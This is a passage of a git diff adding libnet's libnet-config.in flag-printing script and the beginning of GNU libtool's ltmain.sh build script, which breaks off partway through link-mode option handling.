0000000..da86f12 --- /dev/null +++ b/libnet/libnet-config.in @@ -0,0 +1,62 @@ +#!/bin/sh +# +# $Id: libnet-config.in,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet 1.1 libnet-config compilation script +# (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# +# @configure_input@ + +libnet_defines="@LIBNET_CONFIG_DEFINES@" +libnet_cflags="@LIBNET_CONFIG_CFLAGS@" +libnet_libs="@LIBNET_CONFIG_LIBS@ -lnet" + +usage() +{ + cat <<EOF +Usage: libnet-config [OPTIONS] +Options: + [--libs] + [--cflags] + [--defines] +EOF + exit +} + +while test $# -gt 0; do + case "$1" in + -*=*) optarg=`echo "$1" | sed 's/[-_a-zA-Z0-9]*=//'` ;; + *) optarg= ;; + esac + + case $1 in + --libs) + echo_libs=yes + ;; + + --cflags) + echo_cflags=yes + ;; + + --defines) + echo_defines=yes + ;; + *) + usage 1 + esac + shift +done + +if test "$echo_libs" = "yes"; then + echo $libnet_libs +fi + +if test "$echo_cflags" = "yes"; then + echo $libnet_cflags +fi + +if test "$echo_defines" = "yes"; then + echo $libnet_defines +fi + +# EOF diff --git a/libnet/ltmain.sh b/libnet/ltmain.sh new file mode 100644 index 0000000..fb79d8c --- /dev/null +++ b/libnet/ltmain.sh @@ -0,0 +1,6402 @@ +# ltmain.sh - Provide generalized library-building support services. +# NOTE: Changing this file will not affect anything until you rerun configure. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004 +# Free Software Foundation, Inc. +# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +basename="s,^.*/,,g" + +# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh +# is ksh but when the shell is invoked as "sh" and the current value of +# the _XPG environment variable is not equal to 1 (one), the special +# positional parameter $0, within a function call, is the name of the +# function. +progpath="$0" + +# The name of this program: +progname=`echo "$progpath" | $SED $basename` +modename="$progname" + +# Global variables: +EXIT_SUCCESS=0 +EXIT_FAILURE=1 + +PROGRAM=ltmain.sh +PACKAGE=libtool +VERSION=1.5.8 +TIMESTAMP=" (1.1220.2.117 2004/08/04 14:12:05)" + +# See if we are running on zsh, and set the options which allow our +# commands through without removal of \ escapes. +if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST +fi + +# Check that we have a working $echo. +if test "X$1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X$1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t'; then + # Yippee, $echo works! + : +else + # Restart under the correct shell, and then maybe $echo will work. + exec $SHELL "$progpath" --no-reexec ${1+"$@"} +fi + +if test "X$1" = X--fallback-echo; then + # used as fallback echo + shift + cat <<EOF +$* +EOF + exit $EXIT_SUCCESS +fi + +default_mode= +help="Try \`$progname --help' for more information." +magic="%%%MAGIC variable%%%" +mkdir="mkdir" +mv="mv -f" +rm="rm -f" + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed="${SED}"' -e 1s/^X//' +sed_quote_subst='s/\([\\`\\"$\\\\]\)/\\\1/g' +# test EBCDIC or ASCII +case `echo A|tr A '\301'` in + A) # EBCDIC based system + SP2NL="tr '\100' '\n'" + NL2SP="tr '\r\n' '\100\100'" + ;; + *) # Assume ASCII based system + SP2NL="tr '\040' '\012'" + NL2SP="tr '\015\012' '\040\040'" + ;; +esac + +# NLS nuisances. +# Only set LANG and LC_ALL to C if already set. +# These must not be set unconditionally because not all systems understand +# e.g. LANG=C (notably SCO). +# We save the old values to restore during execute mode. +if test "${LC_ALL+set}" = set; then + save_LC_ALL="$LC_ALL"; LC_ALL=C; export LC_ALL +fi +if test "${LANG+set}" = set; then + save_LANG="$LANG"; LANG=C; export LANG +fi + +# Make sure IFS has a sensible default +: ${IFS=" +"} + +if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then + $echo "$modename: not configured to build any kind of library" 1>&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE +fi + +# Global variables. +mode=$default_mode +nonopt= +prev= +prevopt= +run= +show="$echo" +show_help= +execute_dlfiles= +lo2o="s/\\.lo\$/.${objext}/" +o2lo="s/\\.${objext}\$/.lo/" + +##################################### +# Shell function definitions: +# This seems to be the best place for them + +# func_win32_libid arg +# return the library type of file 'arg' +# +# Need a lot of goo to handle *both* DLLs and import libs +# Has to be a shell function in order to 'eat' the argument +# that is supplied when $file_magic_command is called. +func_win32_libid () { + win32_libid_type="unknown" + win32_fileres=`file -L $1 2>/dev/null` + case $win32_fileres in + *ar\ archive\ import\ library*) # definitely import + win32_libid_type="x86 archive import" + ;; + *ar\ archive*) # could be an import, or static + if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | \ + $EGREP -e 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then + win32_nmres=`eval $NM -f posix -A $1 | \ + sed -n -e '1,100{/ I /{x;/import/!{s/^/import/;h;p;};x;};}'` + if test "X$win32_nmres" = "Ximport" ; then + win32_libid_type="x86 archive import" + else + win32_libid_type="x86 archive static" + fi + fi + ;; + *DLL*) + win32_libid_type="x86 DLL" + ;; + *executable*) # but shell scripts are "executable" too... + case $win32_fileres in + *MS\ Windows\ PE\ Intel*) + win32_libid_type="x86 DLL" + ;; + esac + ;; + esac + $echo $win32_libid_type +} + + +# func_infer_tag arg +# Infer tagged configuration to use if any are available and +# if one wasn't chosen via the "--tag" command line option. +# Only attempt this if the compiler in the base compile +# command doesn't match the default compiler. +# arg is usually of the form 'gcc ...' +func_infer_tag () { + if test -n "$available_tags" && test -z "$tagname"; then + CC_quoted= + for arg in $CC; do + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case $@ in + # Blanks in the command may have been stripped by the calling shell, + # but not from the CC environment variable when configure was run. + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) ;; + # Blanks at the start of $base_compile will cause this to fail + # if we don't check for them as well. + *) + for z in $available_tags; do + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" + CC_quoted= + for arg in $CC; do + # Double-quote args containing other shell metacharacters. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + CC_quoted="$CC_quoted $arg" + done + case "$@ " in + " $CC "* | "$CC "* | " `$echo $CC` "* | "`$echo $CC` "* | " $CC_quoted"* | "$CC_quoted "* | " `$echo $CC_quoted` "* | "`$echo $CC_quoted` "*) + # The compiler in the base compile command matches + # the one in the tagged configuration. + # Assume this is the tagged configuration we want. + tagname=$z + break + ;; + esac + fi + done + # If $tagname still isn't set, then no tagged configuration + # was found and let the user know that the "--tag" command + # line option must be used. + if test -z "$tagname"; then + $echo "$modename: unable to infer tagged configuration" + $echo "$modename: specify a tag with \`--tag'" 1>&2 + exit $EXIT_FAILURE +# else +# $echo "$modename: using $tagname tagged configuration" + fi + ;; + esac + fi +} + + +# func_extract_archives gentop oldlib ... +func_extract_archives () { + my_gentop="$1"; shift + my_oldlibs=${1+"$@"} + my_oldobjs="" + my_xlib="" + my_xabs="" + my_xdir="" + my_status="" + + $show "${rm}r $my_gentop" + $run ${rm}r "$my_gentop" + $show "$mkdir $my_gentop" + $run $mkdir "$my_gentop" + my_status=$? + if test "$my_status" -ne 0 && test ! -d "$my_gentop"; then + exit $my_status + fi + + for my_xlib in $my_oldlibs; do + # Extract the objects. + case $my_xlib in + [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;; + *) my_xabs=`pwd`"/$my_xlib" ;; + esac + my_xlib=`$echo "X$my_xlib" | $Xsed -e 's%^.*/%%'` + my_xdir="$my_gentop/$my_xlib" + + $show "${rm}r $my_xdir" + $run ${rm}r "$my_xdir" + $show "$mkdir $my_xdir" + $run $mkdir "$my_xdir" + status=$? + if test "$status" -ne 0 && test ! -d "$my_xdir"; then + exit $status + fi + case $host in + *-darwin*) + $show "Extracting $my_xabs" + # Do not bother doing anything if just a dry run + if test -z "$run"; then + darwin_orig_dir=`pwd` + cd $my_xdir || exit $? + darwin_archive=$my_xabs + darwin_curdir=`pwd` + darwin_base_archive=`basename $darwin_archive` + darwin_arches=`lipo -info "$darwin_archive" 2>/dev/null | $EGREP Architectures 2>/dev/null` + if test -n "$darwin_arches"; then + darwin_arches=`echo "$darwin_arches" | $SED -e 's/.*are://'` + darwin_arch= + $show "$darwin_base_archive has multiple architectures $darwin_arches" + for darwin_arch in $darwin_arches ; do + mkdir -p "unfat-$$/${darwin_base_archive}-${darwin_arch}" + lipo -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" + # Remove the table of contents from the thin files. + $AR -d "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" __.SYMDEF 2>/dev/null || true + $AR -d "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" __.SYMDEF\ SORTED 2>/dev/null || true + cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" + $AR -xo "${darwin_base_archive}" + rm "${darwin_base_archive}" + cd "$darwin_curdir" + done # $darwin_arches + ## Okay now we have a bunch of thin objects, gotta fatten them up :) + darwin_filelist=`find unfat-$$ -type f | xargs basename | sort -u | $NL2SP` + darwin_file= + darwin_files= + for darwin_file in $darwin_filelist; do + darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP` + lipo -create -output "$darwin_file" $darwin_files + done # $darwin_filelist + rm -rf unfat-$$ + cd "$darwin_orig_dir" + else + cd $darwin_orig_dir + (cd $my_xdir && $AR x $my_xabs) || exit $? + fi # $darwin_arches + fi # $run + ;; + *) + # We will extract separately just the conflicting names and we will + # no longer touch any unique names. It is faster to leave these + # extract automatically by $AR in one run. + $show "(cd $my_xdir && $AR x $my_xabs)" + $run eval "(cd \$my_xdir && $AR x \$my_xabs)" || exit $? + if ($AR t "$my_xabs" | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "$modename: warning: object name conflicts; renaming object files" 1>&2 + $echo "$modename: warning: to ensure that they will not overwrite" 1>&2 + $AR t "$my_xabs" | sort | uniq -cd | while read -r count name + do + i=1 + while test "$i" -le "$count" + do + # Put our $i before any first dot (extension) + # Never overwrite any file + name_to="$name" + while test "X$name_to" = "X$name" || test -f "$my_xdir/$name_to" + do + name_to=`$echo "X$name_to" | $Xsed -e "s/\([^.]*\)/\1-$i/"` + done + $show "(cd $my_xdir && $AR xN $i $my_xabs '$name' && $mv '$name' '$name_to')" + $run eval "(cd \$my_xdir && $AR xN $i \$my_xabs '$name' && $mv '$name' '$name_to')" || exit $? + i=`expr $i + 1` + done + done + fi + ;; + esac + my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP` + done + + func_extract_archives_result="$my_oldobjs" +} +# End of Shell function definitions +##################################### + +# Darwin sucks +eval std_shrext=\"$shrext_cmds\" + +# Parse our command line options once, thoroughly. +while test "$#" -gt 0 +do + arg="$1" + shift + + case $arg in + -*=*) optarg=`$echo "X$arg" | $Xsed -e 's/[-_a-zA-Z0-9]*=//'` ;; + *) optarg= ;; + esac + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + execute_dlfiles) + execute_dlfiles="$execute_dlfiles $arg" + ;; + tag) + tagname="$arg" + preserve_args="${preserve_args}=$arg" + + # Check whether tagname contains only valid characters + case $tagname in + *[!-_A-Za-z0-9,/]*) + $echo "$progname: invalid tag name: $tagname" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $tagname in + CC) + # Don't test for the "default" C tag, as we know, it's there, but + # not specially marked. + ;; + *) + if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "$progpath" > /dev/null; then + taglist="$taglist $tagname" + # Evaluate the configuration. + eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$tagname'$/,/^# ### END LIBTOOL TAG CONFIG: '$tagname'$/p' < $progpath`" + else + $echo "$progname: ignoring unknown tag $tagname" 1>&2 + fi + ;; + esac + ;; + *) + eval "$prev=\$arg" + ;; + esac + + prev= + prevopt= + continue + fi + + # Have we seen a non-optional argument yet? + case $arg in + --help) + show_help=yes + ;; + + --version) + $echo "$PROGRAM (GNU $PACKAGE) $VERSION$TIMESTAMP" + $echo + $echo "Copyright (C) 2003 Free Software Foundation, Inc." + $echo "This is free software; see the source for copying conditions. There is NO" + $echo "warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + exit $EXIT_SUCCESS + ;; + + --config) + ${SED} -e '1,/^# ### BEGIN LIBTOOL CONFIG/d' -e '/^# ### END LIBTOOL CONFIG/,$d' $progpath + # Now print the configurations for the tags. + for tagname in $taglist; do + ${SED} -n -e "/^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$/,/^# ### END LIBTOOL TAG CONFIG: $tagname$/p" < "$progpath" + done + exit $EXIT_SUCCESS + ;; + + --debug) + $echo "$progname: enabling shell trace mode" + set -x + preserve_args="$preserve_args $arg" + ;; + + --dry-run | -n) + run=: + ;; + + --features) + $echo "host: $host" + if test "$build_libtool_libs" = yes; then + $echo "enable shared libraries" + else + $echo "disable shared libraries" + fi + if test "$build_old_libs" = yes; then + $echo "enable static libraries" + else + $echo "disable static libraries" + fi + exit $EXIT_SUCCESS + ;; + + --finish) mode="finish" ;; + + --mode) prevopt="--mode" prev=mode ;; + --mode=*) mode="$optarg" ;; + + --preserve-dup-deps) duplicate_deps="yes" ;; + + --quiet | --silent) + show=: + preserve_args="$preserve_args $arg" + ;; + + --tag) prevopt="--tag" prev=tag ;; + --tag=*) + set tag "$optarg" ${1+"$@"} + shift + prev=tag + preserve_args="$preserve_args --tag" + ;; + + -dlopen) + prevopt="-dlopen" + prev=execute_dlfiles + ;; + + -*) + $echo "$modename: unrecognized option \`$arg'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + + *) + nonopt="$arg" + break + ;; + esac +done + +if test -n "$prevopt"; then + $echo "$modename: option \`$prevopt' requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE +fi + +# If this variable is set in any of the actions, the command in it +# will be execed at the end. This prevents here-documents from being +# left over by shells. +exec_cmd= + +if test -z "$show_help"; then + + # Infer the operation mode. + if test -z "$mode"; then + $echo "*** Warning: inferring the mode of operation is deprecated." 1>&2 + $echo "*** Future versions of Libtool will require -mode=MODE be specified." 1>&2 + case $nonopt in + *cc | cc* | *++ | gcc* | *-gcc* | g++* | xlc*) + mode=link + for arg + do + case $arg in + -c) + mode=compile + break + ;; + esac + done + ;; + *db | *dbx | *strace | *truss) + mode=execute + ;; + *install*|cp|mv) + mode=install + ;; + *rm) + mode=uninstall + ;; + *) + # If we have no mode, but dlfiles were specified, then do execute mode. + test -n "$execute_dlfiles" && mode=execute + + # Just use the default operation mode. + if test -z "$mode"; then + if test -n "$nonopt"; then + $echo "$modename: warning: cannot infer operation mode from \`$nonopt'" 1>&2 + else + $echo "$modename: warning: cannot infer operation mode without MODE-ARGS" 1>&2 + fi + fi + ;; + esac + fi + + # Only execute mode is allowed to have -dlopen flags. + if test -n "$execute_dlfiles" && test "$mode" != execute; then + $echo "$modename: unrecognized option \`-dlopen'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Change the help message to a mode-specific one. + generic_help="$help" + help="Try \`$modename --help --mode=$mode' for more information." + + # These modes are in order of execution frequency so that they run quickly. + case $mode in + # libtool compile mode + compile) + modename="$modename: compile" + # Get the compilation command and the source file. + base_compile= + srcfile="$nonopt" # always keep a non-empty value in "srcfile" + suppress_opt=yes + suppress_output= + arg_mode=normal + libobj= + later= + + for arg + do + case "$arg_mode" in + arg ) + # do not "continue". Instead, add this to base_compile + lastarg="$arg" + arg_mode=normal + ;; + + target ) + libobj="$arg" + arg_mode=normal + continue + ;; + + normal ) + # Accept any command-line options. + case $arg in + -o) + if test -n "$libobj" ; then + $echo "$modename: you cannot specify \`-o' more than once" 1>&2 + exit $EXIT_FAILURE + fi + arg_mode=target + continue + ;; + + -static | -prefer-pic | -prefer-non-pic) + later="$later $arg" + continue + ;; + + -no-suppress) + suppress_opt=no + continue + ;; + + -Xcompiler) + arg_mode=arg # the next one goes into the "base_compile" arg list + continue # The current "srcfile" will either be retained or + ;; # replaced later. I would guess that would be a bug. + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "s/^-Wc,//"` + lastarg= + save_ifs="$IFS"; IFS=',' + for arg in $args; do + IFS="$save_ifs" + + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, so we specify it separately. + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + lastarg="$lastarg $arg" + done + IFS="$save_ifs" + lastarg=`$echo "X$lastarg" | $Xsed -e "s/^ //"` + + # Add the arguments to base_compile. + base_compile="$base_compile $lastarg" + continue + ;; + + * ) + # Accept the current argument as the source file. + # The previous "srcfile" becomes the current argument. + # + lastarg="$srcfile" + srcfile="$arg" + ;; + esac # case $arg + ;; + esac # case $arg_mode + + # Aesthetically quote the previous argument. + lastarg=`$echo "X$lastarg" | $Xsed -e "$sed_quote_subst"` + + case $lastarg in + # Double-quote args containing other shell metacharacters. + # Many Bourne shells cannot handle close brackets correctly + # in scan sets, so we specify it separately. + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + lastarg="\"$lastarg\"" + ;; + esac + + base_compile="$base_compile $lastarg" + done # for arg + + case $arg_mode in + arg) + $echo "$modename: you must specify an argument for -Xcompile" + exit $EXIT_FAILURE + ;; + target) + $echo "$modename: you must specify a target with \`-o'" 1>&2 + exit $EXIT_FAILURE + ;; + *) + # Get the name of the library object. + [ -z "$libobj" ] && libobj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%'` + ;; + esac + + # Recognize several different file suffixes. + # If the user specifies -o file.o, it is replaced with file.lo + xform='[cCFSifmso]' + case $libobj in + *.ada) xform=ada ;; + *.adb) xform=adb ;; + *.ads) xform=ads ;; + *.asm) xform=asm ;; + *.c++) xform=c++ ;; + *.cc) xform=cc ;; + *.ii) xform=ii ;; + *.class) xform=class ;; + *.cpp) xform=cpp ;; + *.cxx) xform=cxx ;; + *.f90) xform=f90 ;; + *.for) xform=for ;; + *.java) xform=java ;; + esac + + libobj=`$echo "X$libobj" | $Xsed -e "s/\.$xform$/.lo/"` + + case $libobj in + *.lo) obj=`$echo "X$libobj" | $Xsed -e "$lo2o"` ;; + *) + $echo "$modename: cannot determine name of library object from \`$libobj'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + func_infer_tag $base_compile + + for arg in $later; do + case $arg in + -static) + build_old_libs=yes + continue + ;; + + -prefer-pic) + pic_mode=yes + continue + ;; + + -prefer-non-pic) + pic_mode=no + continue + ;; + esac + done + + objname=`$echo "X$obj" | $Xsed -e 's%^.*/%%'` + xdir=`$echo "X$obj" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$obj"; then + xdir= + else + xdir=$xdir/ + fi + lobj=${xdir}$objdir/$objname + + if test -z "$base_compile"; then + $echo "$modename: you must specify a compilation command" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Delete any leftover library objects. + if test "$build_old_libs" = yes; then + removelist="$obj $lobj $libobj ${libobj}T" + else + removelist="$lobj $libobj ${libobj}T" + fi + + $run $rm $removelist + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + + # On Cygwin there's no "real" PIC flag so we must build both object types + case $host_os in + cygwin* | mingw* | pw32* | os2*) + pic_mode=default + ;; + esac + if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then + # non-PIC code in shared libraries is not supported + pic_mode=default + fi + + # Calculate the filename of the output object if compiler does + # not support -o with -c + if test "$compiler_c_o" = no; then + output_obj=`$echo "X$srcfile" | $Xsed -e 's%^.*/%%' -e 's%\.[^.]*$%%'`.${objext} + lockfile="$output_obj.lock" + removelist="$removelist $output_obj $lockfile" + trap "$run $rm $removelist; exit $EXIT_FAILURE" 1 2 15 + else + output_obj= + need_locks=no + lockfile= + fi + + # Lock this critical section if it is needed + # We use this script file to make the link, it avoids creating a new file + if test "$need_locks" = yes; then + until $run ln "$progpath" "$lockfile" 2>/dev/null; do + $show "Waiting for $lockfile to be removed" + sleep 2 + done + elif test "$need_locks" = warn; then + if test -f "$lockfile"; then + $echo "\ +*** ERROR, $lockfile exists and contains: +`cat $lockfile 2>/dev/null` + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + $echo $srcfile > "$lockfile" + fi + + if test -n "$fix_srcfile_path"; then + eval srcfile=\"$fix_srcfile_path\" + fi + + $run $rm "$libobj" "${libobj}T" + + # Create a libtool object file (analogous to a ".la" file), + # but don't create it if we're doing a dry run. + test -z "$run" && cat > ${libobj}T <<EOF +# $libobj - a libtool object file +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# Name of the PIC object. +EOF + + # Only build a PIC object if we are building libtool libraries. + if test "$build_libtool_libs" = yes; then + # Without this assignment, base_compile gets emptied. + fbsd_hideous_sh_bug=$base_compile + + if test "$pic_mode" != no; then + command="$base_compile $srcfile $pic_flag" + else + # Don't build PIC code + command="$base_compile $srcfile" + fi + + if test ! -d "${xdir}$objdir"; then + $show "$mkdir ${xdir}$objdir" + $run $mkdir ${xdir}$objdir + status=$? + if test "$status" -ne 0 && test ! -d "${xdir}$objdir"; then + exit $status + fi + fi + + if test -z "$output_obj"; then + # Place PIC objects in $objdir + command="$command -o $lobj" + fi + + $run $rm "$lobj" "$output_obj" + + $show "$command" + if $run eval "$command"; then : + else + test -n "$output_obj" && $run $rm $removelist + exit $EXIT_FAILURE + fi + + if test "$need_locks" = warn && + test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed, then go on to compile the next one + if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then + $show "$mv $output_obj $lobj" + if $run $mv $output_obj $lobj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the PIC object to the libtool object file. + test -z "$run" && cat >> ${libobj}T <<EOF +pic_object='$objdir/$objname' + +EOF + + # Allow error messages only from the first compilation. + if test "$suppress_opt" = yes; then + suppress_output=' >/dev/null 2>&1' + fi + else + # No PIC object so indicate it doesn't exist in the libtool + # object file. + test -z "$run" && cat >> ${libobj}T <<EOF +pic_object=none + +EOF + fi + + # Only build a position-dependent object if we build old libraries. + if test "$build_old_libs" = yes; then + if test "$pic_mode" != yes; then + # Don't build PIC code + command="$base_compile $srcfile" + else + command="$base_compile $srcfile $pic_flag" + fi + if test "$compiler_c_o" = yes; then + command="$command -o $obj" + fi + + # Suppress compiler output if we already did a PIC compilation. + command="$command$suppress_output" + $run $rm "$obj" "$output_obj" + $show "$command" + if $run eval "$command"; then : + else + $run $rm $removelist + exit $EXIT_FAILURE + fi + + if test "$need_locks" = warn && + test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then + $echo "\ +*** ERROR, $lockfile contains: +`cat $lockfile 2>/dev/null` + +but it should contain: +$srcfile + +This indicates that another process is trying to use the same +temporary object file, and libtool could not work around it because +your compiler does not support \`-c' and \`-o' together. If you +repeat this compilation, it may succeed, by chance, but you had better +avoid parallel builds (make -j) in this platform, or get a better +compiler." + + $run $rm $removelist + exit $EXIT_FAILURE + fi + + # Just move the object if needed + if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then + $show "$mv $output_obj $obj" + if $run $mv $output_obj $obj; then : + else + error=$? + $run $rm $removelist + exit $error + fi + fi + + # Append the name of the non-PIC object the libtool object file. + # Only append if the libtool object file exists. + test -z "$run" && cat >> ${libobj}T <<EOF +# Name of the non-PIC object. +non_pic_object='$objname' + +EOF + else + # Append the name of the non-PIC object the libtool object file. + # Only append if the libtool object file exists. + test -z "$run" && cat >> ${libobj}T <<EOF +# Name of the non-PIC object. +non_pic_object=none + +EOF + fi + + $run $mv "${libobj}T" "${libobj}" + + # Unlock the critical section if it was locked + if test "$need_locks" != no; then + $run $rm "$lockfile" + fi + + exit $EXIT_SUCCESS + ;; + + # libtool link mode + link | relink) + modename="$modename: link" + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + # It is impossible to link a dll without this setting, and + # we shouldn't force the makefile maintainer to figure out + # which system we are compiling for in order to pass an extra + # flag for every libtool invocation. + # allow_undefined=no + + # FIXME: Unfortunately, there are problems with the above when trying + # to make a dll which has undefined symbols, in which case not + # even a static library is built. For now, we need to specify + # -no-undefined on the libtool link line when we can be certain + # that all symbols are satisfied, otherwise we get a static library. + allow_undefined=yes + ;; + *) + allow_undefined=yes + ;; + esac + libtool_args="$nonopt" + base_compile="$nonopt $@" + compile_command="$nonopt" + finalize_command="$nonopt" + + compile_rpath= + finalize_rpath= + compile_shlibpath= + finalize_shlibpath= + convenience= + old_convenience= + deplibs= + old_deplibs= + compiler_flags= + linker_flags= + dllsearchpath= + lib_search_path=`pwd` + inst_prefix_dir= + + avoid_version=no + dlfiles= + dlprefiles= + dlself=no + export_dynamic=no + export_symbols= + export_symbols_regex= + generated= + libobjs= + ltlibs= + module=no + no_install=no + objs= + non_pic_objects= + precious_files_regex= + prefer_static_libs=no + preload=no + prev= + prevarg= + release= + rpath= + xrpath= + perm_rpath= + temp_rpath= + thread_safe=no + vinfo= + vinfo_number=no + + func_infer_tag $base_compile + + # We need to know -static, to get the right output filenames. + for arg + do + case $arg in + -all-static | -static) + if test "X$arg" = "X-all-static"; then + if test "$build_libtool_libs" = yes && test -z "$link_static_flag"; then + $echo "$modename: warning: complete static linking is impossible in this configuration" 1>&2 + fi + if test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + else + if test -z "$pic_flag" && test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + fi + build_libtool_libs=no + build_old_libs=yes + prefer_static_libs=yes + break + ;; + esac + done + + # See if our shared archives depend on static archives. + test -n "$old_archive_from_new_cmds" && build_old_libs=yes + + # Go through the arguments, transforming them on the way. + while test "$#" -gt 0; do + arg="$1" + shift + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + qarg=\"`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`\" ### testsuite: skip nested quoting test + ;; + *) qarg=$arg ;; + esac + libtool_args="$libtool_args $qarg" + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + output) + compile_command="$compile_command @OUTPUT@" + finalize_command="$finalize_command @OUTPUT@" + ;; + esac + + case $prev in + dlfiles|dlprefiles) + if test "$preload" = no; then + # Add the symbol object into the linking commands. + compile_command="$compile_command @SYMFILE@" + finalize_command="$finalize_command @SYMFILE@" + preload=yes + fi + case $arg in + *.la | *.lo) ;; # We handle these cases below. + force) + if test "$dlself" = no; then + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + self) + if test "$prev" = dlprefiles; then + dlself=yes + elif test "$prev" = dlfiles && test "$dlopen_self" != yes; then + dlself=yes + else + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + *) + if test "$prev" = dlfiles; then + dlfiles="$dlfiles $arg" + else + dlprefiles="$dlprefiles $arg" + fi + prev= + continue + ;; + esac + ;; + expsyms) + export_symbols="$arg" + if test ! -f "$arg"; then + $echo "$modename: symbol file \`$arg' does not exist" + exit $EXIT_FAILURE + fi + prev= + continue + ;; + expsyms_regex) + export_symbols_regex="$arg" + prev= + continue + ;; + inst_prefix) + inst_prefix_dir="$arg" + prev= + continue + ;; + precious_regex) + precious_files_regex="$arg" + prev= + continue + ;; + release) + release="-$arg" + prev= + continue + ;; + objectlist) + if test -f "$arg"; then + 